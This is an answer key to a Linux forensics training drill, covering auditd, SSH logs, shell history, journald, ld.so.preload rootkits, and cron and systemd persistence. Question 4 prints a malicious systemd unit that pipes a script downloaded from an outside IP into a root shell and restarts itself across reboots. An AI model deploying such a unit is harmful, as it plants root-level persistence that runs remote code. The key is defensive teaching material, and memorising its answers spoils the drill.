CyberKit

Linux Case: answer key

Every question with its answer and the reasoning. Work the drill first, or the key only tells you what, not how.

  1. Read this auditd record. Who should the report name as responsible?

    type=SYSCALL msg=audit(1772404029.123:456): arch=c000003e syscall=59 success=yes
      ppid=1200 pid=1207 auid=1000 uid=0 euid=0 tty=(none)
      comm="sh" exe="/tmp/.x/sh" key="exec"

    Answer: The account with UID 1000, because auid records who originally logged in

    auid is the audit login UID and the kernel preserves it across su and sudo. Here auid=1000 with uid=0 means user 1000 escalated to root, so 1000 is the number that identifies a person. Reporting "root did it" is true and useless, because on a shared host every escalation looks identical. Also worth noting: exe is under /tmp, and legitimate software does not live in a world-writable directory.

    Read more: Linux explainer: auditd fields

  2. auditd is running but ausearch returns nothing for the incident window. What is the most likely explanation?

    Answer: No audit rules were configured, so there was nothing to record

    auditd with a default configuration records very little. It needs rules, written in advance, describing what to watch. Its silence is therefore usually a statement about how the host was configured rather than about what happened, and a report should say which. Deletion is possible and worth checking, but it is the less likely explanation and the two produce different remediation.

    Read more: Linux artifacts: auditd

  3. Match each question to the Linux artifact that answers it.

    Answer: Which accounts logged in over SSH, and which failed? → auth.log / secure · What did the user type at the shell? → bash_history · Who can log in as this user without a password? → authorized_keys · What runs as a service, and what command does it start? → systemd units · Which machines did this account SSH out to? → known_hosts · Was sudo used, and for what command? → auth.log / secure

    Two carry a catch. authorized_keys is the quietest persistence on the platform: an added key survives password changes, needs no malware, and looks exactly like administration. And known_hosts is hashed by default on modern OpenSSH, so you cannot read hostnames out of it directly, though you can test a candidate host against the hashes.

    Read more: Linux artifacts

  4. What does this systemd unit do, and what makes it persistence rather than a one-off?

    [Unit]
    Description=Intel Update Helper
    
    [Service]
    ExecStart=/bin/sh -c "curl -s http://198.51.100.23/u | sh"
    Restart=always
    
    [Install]
    WantedBy=multi-user.target

    Answer: Downloads and runs a remote script as root, and Restart=always plus WantedBy makes it survive both exit and reboot

    Three things combine. ExecStart pipes a downloaded script straight into a shell. No User directive is set, and the absence of that line means root. Restart=always brings it back whenever it exits, and WantedBy=multi-user.target starts it on every normal boot. The Description is attacker-chosen and imitating a vendor name is evidence of intent, not of legitimacy.

    Read more: Linux explainer: systemd units

  5. A user's .bash_history is empty on a host you believe they used interactively. What can you conclude?

    Answer: Very little on its own: history writes at shell exit, and it can be disabled, truncated or deleted by the user

    Shell history is a plain text file the user fully controls. It is written when the shell exits, so an active session may have nothing on disk yet; HISTFILE can be unset, HISTSIZE set to zero, or the file simply deleted. It is excellent when present and proves nothing when absent. Corroborate with auditd if rules existed, with process accounting, or with what the shell wrote elsewhere.

    Read more: Linux artifacts: shell history

  6. Order these steps for triaging a suspected Linux compromise on a live host.

    Answer: Collect sockets, process tree and open-but-deleted files Capture memory with AVML Collect persistence surface: cron, systemd units, authorized_keys Archive /var/log and the audit log

    Volatility decides the order. Sockets and the process table decay in seconds, and the open-but-deleted check is the one that recovers a running implant whose binary is already gone from disk. Memory is next and disappears at reboot. Persistence files and logs both survive until overwritten or rotated, so they can wait, though log rotation is its own clock worth checking.

    Read more: Order of volatility

  7. journalctl shows nothing before this morning's reboot on a systemd host. Why?

    Answer: journald storage is volatile by default on several distributions, so the journal lived in /run and did not survive the reboot

    If Storage=persistent was never set in journald.conf, the journal is kept in /run and is lost on reboot. journalctl can show earlier boots with --list-boots when persistent storage exists, so the flag is not the limitation. Deletion is possible, but the default configuration explains it more often, and the two lead to different conclusions in a report.

    Read more: Linux artifacts: journald

  8. Pull the three facts you would put in a timeline row for this auth.log line.

    Mar  2 21:47:09 web01 sshd[4412]: Accepted publickey for deploy from 198.51.100.23 port 51422 ssh2: RSA SHA256:abc123

    Answer: Account: deploy · Source address: 198.51.100.23 · Authentication method: publickey

    Publickey rather than password is the detail that matters here: it means whoever connected holds a private key whose public half is in that account's authorized_keys. So the immediate next step is to read that file and establish whether the key belongs to someone who should have it. Note also that this line carries no year and no timezone offset, which is why you read the host's timezone before building any timeline from syslog-style entries.

    Read more: Linux artifacts: auth.log

  9. You find /etc/ld.so.preload containing a path to a library in /usr/lib. How should you read this?

    Answer: As a strong finding: the file does not exist on a clean system and forces a library into every dynamically linked process

    ld.so.preload is the classic userland rootkit mechanism. Its mere existence is the signal, because a clean system does not have the file at all. The library being in /usr/lib rather than /tmp makes it better disguised, not less serious. Anything loaded this way can intercept library calls in every process, which includes hiding files and processes from the tools you are using to look.

    Read more: Linux artifacts: ld.so.preload

  10. Where would you find a scheduled task that runs as a normal user and needs no root at all?

    Answer: The user's crontab in the spool directory, or a timer under ~/.config/systemd/user/

    Both mechanisms have a per-user form that needs no privilege. A user crontab lives in the spool directory rather than in /etc, so reading /etc/crontab and stopping misses it entirely. A systemd user unit lives under the account's own ~/.config and runs at that user's login. Enumerate both for every account on the host, not just root.

    Read more: Linux artifacts: cron and systemd

Back to the drill